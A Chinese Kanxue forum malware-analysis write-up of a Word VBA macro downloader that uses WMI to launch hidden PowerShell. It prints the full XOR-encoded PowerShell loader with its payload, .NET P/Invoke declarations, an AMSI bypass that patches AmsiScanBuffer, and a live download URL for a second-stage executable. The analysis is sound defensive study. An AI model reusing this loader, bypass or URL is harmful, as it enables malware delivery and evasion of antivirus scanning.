其他
记一次Word宏Downloader样本分析
看雪论坛作者ID:0xNOPE
1
样本概况
测试环境及工具
样本基本信息
沙箱检测:
沙箱检测出病毒创建了3个进程,其中有一个是powershell.exe、释放了4个文件。
2
样本分析
VBA宏分析
动态调试
分析VBA代码
Object 数据类型Garniture变量存储为 32 位(4个字节)的地址形式,其为对象的引用。利用 Set 语句,声明为 Object的变量可以赋值为任何对象的引用。
Dim test As Object
Set test = GetObject("C:\test.exe")
Lethbridge函数
Win32_Process 类别代表在 Win32 系统上的一系列事件。"winmgmts:\.\root\CIMV2"用法的说明是创建对象,获取进程相关信息。总之通过"winmgmts:\.\root\cimv2:Win32_Process"这个对象来创建进程,获取进程信息。
继续往下,获取Win32_Process字符串之后调用GetObject函数获取指定的对象并将获取的对象传入到调用函数SnottineSS内,该函数也会解密出一个字符串内容并通过Win32_Process.Create函数会创建一个进程,如下:
紧接着下面又解密了一个字符串:
powershell -WindowStyle Hidden
function y171e {
param($z4627)$k58be9='a57157c';
$yce74a='';
for ($i=0; $i -lt $z4627.length;$i+=2)
{
$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);
$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);
}
return
将其复制出来,整理一下,得到完整的powershell脚本:
powershell -WindowStyle Hidden
function y171e
{
param($z4627)$k58be9='a57157c';
$yce74a='';
for ($i=0; $i -lt $z4627.length;$i+=2)
{
$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);
$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);
}
return $yce74a;
}
$z24c573 = '14465e5f52173018464354580c16125c595615641a1241525c1b65160f415e5c50192a0f4152435a4730044741585652105a4044585b5043324c4445505a4d255c56565b5810155c54420e4210085b5011664e1015505a1f7c785814465e5f5217301846435458192d04410c3c3f471603595e5215540f004644114c5502530c0f024e6c270d597e5c455811151d155a50450d04590403171b260f41454865580a0f410a137252173147585274530713504442171e3e1140555d5c5443124156455c5443044d4354475943285b436141454317020008571f2a0f41674547171b59510404031b1015475e5f52171556575206061e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508152f0e54537d5c551100474e131c6a1314575b5856171015544358561706194152435b172a0f41674547170657030207510e4b124145585b50431b560154541e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508153508474344545b33135a435456434148684744575b0a0215444554430a021552494152110f15555e5a5b43090254040d014b285b43614145430c5156060d01574d607e5f41671713155c0302550050571b445c5917414d545554515158195844411716085b4311470f5703060e180e6c270d597e5c455811151d157a50450d045904031b530f0d171b745b4311186558585b435e4367435d7858150478525c5a451a43196454417b02124172434758115c53565d46524a3c464350415e0041504f4550450d41435858511706070056541d7e0d1565434315565a550d5209197e0d15654343155b5b03040554195e0d15155005560106480e4744575b0a0215444554430a02155e5f411700500c04531d1e18285b4361414543020756540753555c500107000107581d4e0002060649170701000f5755000f0057025051530755171e4a5a5c511956050204075307140a2a0f416745471939044758184e7e0d1565434315455a57060308060a1556020e531d545100500555031b1a500206541d155151000f0501025b570302050505530702000507025454060203040641481c0c58531f11580304050c04425c7c59456543114f6f52435a1e18347c5945654311415d55505405075c1d62785b433315471e040e420a0f41175a0c5450560c0a010e5e05495d0052000f5549470e0706035a52195f535456510519074901074f0e4043115e0e0052020e181c4c211841526a68170904045255084c531906061d054f05071907490c071e5a7c5945654311415b55020700025c785643465f020d1b765d59580029725b5e57560f49061e0a785611125d565d1b740c114c1f5b5006060519071d5b55505302561d061e5804530250501f0d044217785b433315471f430c0150550c041f61582a0f4101051d1e48514d070104554a4d5b55020700024d061e0a484a1e124145585b504312040f0253565e245b415847580d0c5059451b70061573585d515211315443591d720d175c455e5b5a060f41196245520008545b775a5b070447197045470f085656455c580d255443501c174841176b6d560e51540015111e171a500206541d155707000705530257431c0c5f50404336505572595e060f411f181b730c165b5b5e545325085952194c065450501f13050e5750010405040355515103520152565700010453020154030700050f57570100050602025502070704045750015204060354540d070905035756010300530255540d075401525754000f0504060251530552040155530254050600505703020205015555000f0654035251500355050357050005131c1b10500d0457541e583147585250441032415643417e0d075a174803540153085954421733135a5454464430155445457c59050e1d44000d0405001c0c614758000446441f66430213411f48035401531c0c43504316135b17010e4a1314575b585617101554435856171015475e5f52171a500206541d4417135c5956155a06590c0e051c4c1015475e5f52171b59510404030a4100000000000000430e4445475e0d06155207030255050c0a13170c050e471f585b43430808070a155e5f0c500f080c034d2d505956415f58081e0a031c4c011841521143005458570a725a59150447431f6158211841521958525b580c031f664201124145585b504b08190518190655480e5207030255050c1c0c1d540b00471e19430054585769490d535054036c195c185148104f09510456571b7b545b501709681e0a4845061540455f155255570001550c0c1e1c';
$z24c5732 = y171e($z24c573);
Add-Type -TypeDefinition $z24c5732;
[yba2983]::c193b();
分析powershell脚本
这就表明$z24c5732存储的解密后的内容其实是一个.Net的程序源码。Add-Type | Microsoft Docs?redirectedfrom=MSDN。
调用类的静态方法:用中括号把类的名称括起来,然后输入两个冒号,然后再输入方法名,最后是方法的参数。访问类的静态属性:用中括号把类的名称括起来,然后输入两个冒号,然后再输入属性名。来访问.NET类的静态属性。调用对象的方法:在对象变量之后使用点(.)作为成员变量符,然后加上方法名,和方法参数即可。PowerShell中调用.NET对象的静态方法、静态属性和类方法、类属性例子。
分析.NET代码
[DllImport("kernel32", EntryPoint = "GetProcAddress")] public static extern IntPtr v779b(IntPtr x8d356, string v7be73);
[DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr e6656d9(string zc6ea);
[DllImport("kernel32", EntryPoint = "VirtualProtect")] public static extern bool h7c586(IntPtr mda7864, UIntPtr k27bc1b, uint xcdaf29, out uint r84b39);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void ef5ae(IntPtr a948e8, IntPtr l8b12e, int g4c6e);
函数y171e()就是解密函数,将传入的字符串和字符串"a57157c"中的一些值进行异或操作,然后返回解密出的字符串。
函数c193b()就是Run函数,如下:
amsi.dll AmsiScanBuffer C:\Users\thh\AppData\Roaming\c9255.exe https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe
然后调用VirtualProtect函数修改对应的内存属性从仅可读修改为可读可写(PAGE_EXECUTE_READWRITE = 0x40),之后调用Marshal函数分配内存并将Byte[] jeled = {0x31, 0xff, 0x90}复制到AmsiScanbufferAddr + 0x001b的内存区域。
AMSI(Antimalware Scan Interface,反恶意软件扫描接口)。反恶意软件解决方案支持 AMSI,那么在 Windows 10 上就可以阻止 PowerShell 攻击代码的执行。反恶意软件扫描接口 (AMSI) 是一种允许应用程序和服务集成在一台机器上的任何反恶意软件产品的泛型接口标准。
3
总结
学习C#、powershell脚本、VBA的一些语法和API的用法,熟悉了AMSI(Antimalware Scan Interface,反恶意软件扫描接口)机制,也顺带学习了如何绕过AMSI。
看雪ID:0xNOPE
https://bbs.pediy.com/user-home-911233.htm
*本文由看雪论坛 0xNOPE 原创,转载请注明来自看雪社区
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!